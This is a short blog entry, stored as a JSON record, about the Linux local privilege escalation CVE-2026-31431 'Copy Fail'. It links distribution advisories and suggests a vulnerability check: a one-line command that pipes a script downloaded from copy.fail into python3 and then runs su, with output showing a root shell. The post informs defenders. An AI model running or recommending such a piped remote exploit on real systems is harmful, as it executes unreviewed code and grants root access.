{
  "$type": "site.standard.document",
  "content": {
    "$type": "pub.lemma.blog.entry",
    "content": "# Copy Fail vulnerability in Linux\r\n\r\n![Alt text](https://cdn.bsky.app/img/feed_fullsize/plain/did:plc:5g2hkj2od4zr3tlpb2su364e/bafkreidaxkjff7suut3sxzjszvngtjf2qaewpv3g5n2obl3r6rmhu45kru@jpeg \"Title\")\r\n\r\n[CVE-2026-31431](https://www.cve.org/CVERecord?id=CVE-2026-31431) Copy Fail is a local privilege escalation vulnerability that has now been resolved in most major distributions. You can find out more about specific distros like [Ubuntu](https://ubuntu.com/security/CVE-2026-31431) and [Amazon Linux](https://explore.alas.aws.amazon.com/CVE-2026-31431.html).\r\n\r\nYou can quickly see if your system is vulnerable by executing the python script provided at [copy.fail](https://copy.fail/). The site also provides mitigation information.\r\n```sh\r\n$ curl https://copy.fail/exp | python3 && su\r\n# id\r\nuid=0(root) gid=1002(user) groups=1002(user)\r\n```\r\n\r\nIf you have a recent kernel on a distribution like Ubuntu 26.04 you should be good.\r\n"
  },
  "path": "/3mkobbt7tz22o",
  "publishedAt": "2026-04-29T23:36:02.732Z",
  "site": "at://did:plc:5g2hkj2od4zr3tlpb2su364e/site.standard.publication/3mmhg6ulmlszy",
  "title": "Copy Fail vulnerability in Linux",
  "updatedAt": "2026-04-30T00:47:46.644Z"
}